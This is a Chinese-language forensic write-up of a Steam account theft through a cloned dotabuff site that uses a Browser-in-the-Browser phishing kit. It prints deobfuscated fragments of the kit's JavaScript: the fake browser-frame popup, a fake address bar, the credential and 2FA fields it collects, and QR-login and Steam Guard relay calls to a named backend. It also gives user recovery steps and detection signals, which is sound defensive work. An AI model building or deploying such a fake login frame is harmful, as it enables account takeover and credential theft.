你的"地址栏"是画出来的:一次 Steam 盗号事件的完整技术复盘

0 阅读9分钟

一、事件经过:从"复个盘"到账号被顶

2026 年 9 月,NGA 论坛 Dota2 版块出现一篇求助帖,过程相当典型:

  1. 他在抖音刷到过复盘工具,但没找到入口;
  2. 转去问 AI,AI 建议用 dotabuff 这类第三方数据站,但他没记住域名
  3. 于是在搜索引擎里搜 dotabuff点了排在前面的那一条
  4. 站点长得很"正常",他点了 Steam 登录,在弹出窗口里完成登录;
  5. 当晚打游戏时,一个自称"valve 员工"的账号发来话术消息,他没理会;
  6. 随后 Steam 被顶下线。重登后他删掉对方好友,对方自动加回来,反复两次;好友列表被清空(不是屏蔽,是真删);
  7. 他随后取消所有授权、修改密码,账号暂时稳定。

帖子下面很快有人回复:"我也是,估计那个看数据的网站真的有问题。"

关键线索是域名。 帖主事后对比发现:

项目域名
dotabuff 官方站dotabuff.com
他实际访问的站dota2buff.org

这不是常见的"字符替换"仿冒(steamcommun1ty.comg00gle.com 那种),而是借用了原品牌的完整词根 dotabuff,前面插一个 2,再换掉顶级域。对一个"记不清域名、正在搜索"的人来说,dota2buff.org 看上去甚至更专业——像是"dota2 + buff"的组合词。

这就是整件事的入口:它不需要骗过懂行的人,只需要骗过"搜索一下"的人。


二、技术分析

2.1 整站克隆 + "点哪儿都弹框"

抓取该站首页(HTTP 200,约 165 KB,前置 Cloudflare)确认,它是 dotabuff 的静态整站克隆

title:    <title>DOTABUFF.com - Official Website :: Dota 2 Statistics and Analytics</title>
正文链接:  多处仍指向 https://ru.dotabuff.com/signin   ← 真站

克隆时连"Sign in through Steam"的原始超链接都没改,还指着真站。这不影响攻击效果,因为首页尾部内联脚本做了两件事:

// 1) 把所有链接打死
if (item.tagName === 'A') {
  item.setAttribute('href', '#!');
  item.setAttribute('target', '_self');
}
// 2) 除登录按钮和关闭按钮外,全部改绑到弹框
if (!item.classList.contains('action-login-steam')) {
  if (!item.classList.contains('modal-close')) {
    item.addEventListener('click', e => { e.preventDefault(); openModal(); });
  }
} else {
  item.classList.add('r76a3l3tgl8n');   // 真登录按钮,交给外部 JS 接管
}

点页面任意位置——正文、图片、菜单——弹出的都是同一个 "Authorization" 框,文案是"领皮肤、参与抽奖、独家优惠"。作用是降低戒心,让你觉得登录是"为了拿好处"。

一个识别低劣克隆的小痕迹:这个弹框的 logo 是一张截图/index_files/Screenshot_1.png)。

2.2 核心手法:window.open + document.write 伪造浏览器外框

点击"Log in via Steam"后:

// 关键配置(去混淆后)
const cfg = {
  1: window['$ls'] || 'rfnz0vqmx3h8.html',   // 弹窗里要加载的页面
  2: 'numclock.info',                        // 真正的后端域名
  3: 'NEW_PAGE_ABOUT_BLANK'
};

if (cfg[3] === 'NEW_PAGE_ABOUT_BLANK') {
  const w = window.open('about:blank', <窗口名>, <窗口参数>);
  w.document.write( ... + location.host + '/' + cfg[1] + ... );
}

拆开说,这三步各解决一个问题:

  1. window.open() 开的是操作系统层面真实的第二个窗口。 很多人验证弹窗真伪的习惯是"拖出主窗口边界看会不会被裁切"——假弹窗(DOM 元素)会被裁切,真窗口不会。这一步让该测试彻底失效。
  2. 开的是 about:blank,新窗口与打开者同源,于是可以用 document.write 整篇覆写任意 HTML
  3. 写进去的内容 = 一整套"画出来的浏览器外框"(地址栏、小锁、最小化/最大化/关闭按钮,全是 DOM 元素)+ 一个铺满窗口的 iframe,iframe 再加载真正的假登录页。假外框的结构从 JS 变量表能直接看出来:
const ui = {
  authWindow, header, headerIcon, headerTitle, headerControl, headerBtn,
  hideBtn, toggleBtn, toggledBtn, closeBtn,
  url, ssl, urlInput, translateIcon,          // ← 假地址栏 + 假小锁
  urlMozilla, inBlockMozilla, inBlockMozillaBtn, urlMozillaMenuBtn
};

2.3 假地址栏里,装的是一段真的 Steam 链接

最容易被误判的一点。那个看起来指向 Steam 的地址栏,本质是:

React.createElement('input', {
  type: 'text',
  value: 'steamcommunity.com/openid/login?openid.ns=...&openid.return_to=https%3A%2F%2F' + <运行时拼接>
});

不是浏览器地址栏,是一个 <input type="text">value 被写死成一段语法完全正确的 Steam OpenID 2.0 登录 URL。两个细节说明伪造者对浏览器做过功课:

  • 值以 steamcommunity.com/... 开头,故意不带 https://——因为现代 Chrome 本来就折叠隐藏它;
  • 旁边的"小锁"(ssl)同样是画出来的。
真实浏览器地址栏                       页面画出来的"地址栏"
┌──────────────────────────────┐      ┌──────────────────────────────┐
│ 🔒 steamcommunity.com/...    │  VS  │ 🔒 steamcommunity.com/...    │
│ ↑ 浏览器进程渲染,网页改不了      │      │ ↑ <input>+背景图,可写任何内容   │
└──────────────────────────────┘      └──────────────────────────────┘
        不可伪造                              可任意伪造

这里必须说清技术边界,避免误导:

Steam OpenID 走完完整流程,只会把 SteamID64(一串公开可见的账号 ID)交给回调方,拿不到密码,也不足以接管账号

所以"弹窗指向真 Steam 链接"本身不构成危害,它在这里主要起装饰和取信作用——让假地址栏看起来无懈可击。

真正致命的是 iframe 里那份假登录表单,以及下文的二维码劫持与 2FA 中继。「地址栏是官方的」≠「输入框是官方的」。

2.4 假登录页在收什么

iframe 加载的假登录页约 52 KB(其中 99% 是 base64 内嵌 favicon),<title> 是空的,不加载任何外部 CSS——一次性壳页的典型特征。它引一个约 1.1 MB 的 JS(React + axios 全量打包),脚本里的 state 直接暴露了目标字段:

字段对应真实 Steam 登录页的什么
accountName / password账号 / 密码
twoFactorCodeSteam 令牌(手机 App)动态码
authCode邮箱验证码
smsCode短信验证码
lastNumberDigits"发送到尾号 XXXX 的手机"——连文案都仿了
mail邮箱
secret / secret2 / ah / ph不属于 Steam 任何流程,判断为套件自用的跟踪/反自动化字段(语义为推断,未证实)

配套 i18n 覆盖约 30 种语言(含简繁中文),页脚还抄了 Valve 的多语言版权声明。这是商品化套件的标志——不是一次性手搓,是按批次配置的成品。佐证是前文那个 window['$ls'] 可覆盖点:只要能注入 window.$ls,就能把弹窗内容换成任意页面,说明背后有稳定的套件供应链。

2.5 数据回传:三段式,各偷各的

① 凭证提交——一次打包密码 + 三种验证码

const payload = {
  accountName, password, smsCode, twoFactorCode, authCode,
  referralLink: parent.location.pathname || '/',   // 读父窗口,追踪从哪个诱饵页进来
  domain: location.hostname, secret: <三段拼接>, secret2: <临时密钥>,
  u: <cookie 'uv'>, ua: navigator.userAgent
};

referralLink: parent.location.pathname 反过来印证它确实跑在 iframe 里,同时用于给推广渠道分成——引流链上不止一个角色。

② Steam 二维码登录劫持(最危险:免密码、免 2FA)

post({ data: { QRChallengeURL, domain, referralLink, secret, u, ua } });

对应字符串表里真实存在的地址是 s.team/q/1/<challenge>——Steam 官方扫码登录深链。危害远大于假表单:

  • 你用 Steam 手机 App 扫这个码 → App 弹"是否确认登录" → 一按确认,授权的就是攻击者那一侧的会话
  • 全程不需要密码,也不需要验证码——因为"扫码确认"本身就是 2FA;
  • 账号上的 2FA 设置全部失效

二维码本身不是钓鱼站画的,是真的。被钓的是"确认"这个动作。

③ 2FA 实时代填(反向中继)

post({ data: { id, steamGuardCode, referralLink, domain, u, ua } });
受害者                    钓鱼后端                     Steam 官方
  │                          │                            │
  │ ① 提交 账号+密码 ────────▶│                            │
  │                          │ ② 用真实凭证登录 ─────────▶│
  │                          │ ◀── ③ 要求 Steam Guard 码 ──│
  │ ◀── ④ 假页面弹"请输入令牌码"│                            │
  │ ⑤ 填入真实令牌码 ────────▶│                            │
  │                          │ ⑥ 60 秒内转发令牌码 ───────▶│
  │                          │ ◀── ⑦ 登录成功,会话接管 ────│

你在假页面上"乖乖配合"的每一次输入,都在帮攻击者实时完成对你账号的登录

后端与反侦察

  • 真正的后端是 numclock.info,不是 dota2buff.org从不出现在地址栏
  • 上报路径做了随机填充:语义是 /domain,但字母间插随机串,服务端按骨架正则匹配 ⇒ 精确路径黑名单直接失效
  • 首屏还有一个 XHR 探针:页面一加载就上报访客指纹和来源,不用等用户点任何东西;
  • 载荷里出现 XSRF-TOKEN 与 axios ⇒ 后端多半是 Laravel 风格的现成"钓鱼面板"。

三、它到底绕过了哪些防御

常规钓鱼伪造一个像官方的域名,防线是"看地址栏域名对不对"。这套东西完全不在域名层面竞争——它把整条防线架空了:

#手法绕过了什么
1假地址栏是 <input>value 是真 Steam OpenID 地址"看地址栏"——地址栏是画出来的,可写任何内容
2window.open真窗口,再 document.write 覆写"拖出主窗口看是否被裁切"这个惯用测试
3诱饵域名只需像 dotabuff.com,无需像 Steam"Steam 域名相似度"检查;dotabuff 本身就跳 Steam 登录,跳转理由充分
4真后端 numclock.info 从不露面,路径被随机字母打散URL / 路径黑名单
5CSS 类名等运行时用 Math.random() 生成基于固定选择器的静态检测——每次加载类名都不同
6首页 HTML 中 openidsteamcommunity 命中数为 0爬虫 / 关键词扫描
7资源文件名全为 12 位随机串文件级黑名单

准确说法: 这不是传统"仿冒域名钓鱼",而是 Browser-in-the-Browser(BitB,浏览器套浏览器)——伪造的不是网站,是浏览器本身


四、防御清单

4.1 普通用户:四条硬规则

  1. 登录第三方站,永远从"你自己打开"开始。 别从搜索结果推广位、群消息、私信链接点进去。要复盘 Dota2,直接在地址栏敲官方域名或走收藏夹。
  2. 地址栏只信浏览器自己画的那一个。 网页里画出来的地址栏、网页里画出来的小锁,一律不作数
  3. 登录页出现在小窗口里 = 假的。 真实 steamcommunity.com 发了 X-Frame-Options不可能被别的站套进 iframe。看到"页面中间一个小框里是 Steam 登录",直接关掉。
  4. 扫码前先看是谁在问。 App 弹"是否确认登录"时,那是别人发起的登录请求——你按确认就是把账号交给发起方。不认识的登录一律拒绝。

4.2 已经输入过密码 / 扫过码:按顺序做

步骤操作位置
1修改 Steam 密码账号设置
2注销所有其他设备,撤销不认识的已授权设备设置 → 安全
3检查 API 密钥,不认识的就撤销steamcommunity.com/dev/apikey
4检查交易报价历史与库存库存 / 交易记录
5检查登录历史,确认无残留会话设置 → 安全
6改掉复用过的同一个密码(大概率还挂在别的站上)全局

第 3 步最容易被忽略也最关键:API 密钥是"交易报价被掉包"类盗号的常见准备动作。攻击者不急着拿东西,先留后门,等一笔大额交易时再动手。

4.3 给开发者 / 做检测规则的人

信号说明
登录表单处于 window.top !== window.self真 Steam 登录页永不会被套框,最强单点特征
页面内存在"看起来像地址栏的 input"检测假地址栏本身就是强特征
window.open 后紧接 document.write真窗口 + 写内容,几乎只见于 BitB 类攻击
<a> 被批量改写为 #! 且点击统一弹框克隆站伪装特征
资源名为 12 位随机串、无外部 CSS、<title> 为空一次性钓鱼壳页特征
同一表单同时收集 password + twoFactorCode + authCode + smsCode真 Steam 分步走,不会一次要三种码

4.4 举报通道

域名注册商 Abuse 通道(whois 查 Registrar)+ Cloudflare Abuse(该站前置了 Cloudflare)+ Steam 官方支持。后端的 numclock.info 一并提交,不要只举报诱饵域名。


五、结语

这次事件里,受害者做了几乎所有"对的事":发现异常、移除好友、取消授权、改密码。但账号还是被顶了、好友还是被清空了。原因是攻击发生在他操作之前的几分钟里,而他当时的每一步都觉得自己是安全的

三点最值得记住:

  1. "看地址栏"这条经验已经不够用了。 当网页能在自己的画布上画出一个浏览器窗口时,域名相似度、小锁图标、甚至窗口拖拽测试会集体失效。可用的替代判断是:登录页有没有被套在框里window.top !== window.self)。
  2. 二维码是新的高危入口。 它把"输密码 + 输验证码"压缩成"点一下确认"。二维码是真的,被利用的是习惯性确认。
  3. 受害者的第一反应决定损失大小。 正确顺序是:改密码 → 注销所有设备 → 查 API 密钥,而不是先去加回好友。

它赢在把"地址栏"从浏览器手里搬到了自己手里。域名像不像,已经不重要了。


附:可信度说明与未核实项

所有技术细节均来自对目标站点的静态文件分析(首页 HTML + 其引用的 3 个 JS/HTML 资源),过程中未点击登录、未提交任何表单、未与后端建立业务交互。全文只做防御性分析与取证,不含可复现的攻击实现,不提供可访问的钓鱼链接;涉及的域名与账号已做脱敏处理。

以下三项尚未完全核实

  1. ah / ph / secret / secret2 的确切语义未证实,仅确认不属于 Steam 任何流程;
  2. 二维码(s.team/q/1/<challenge>)的动态下发流程未实测,引用的是字符串表中写死的样例;
  3. 部分混淆字符串未完全还原——"return_to / realm 主机名运行时随机拼接"已确认,完整成品串未还原。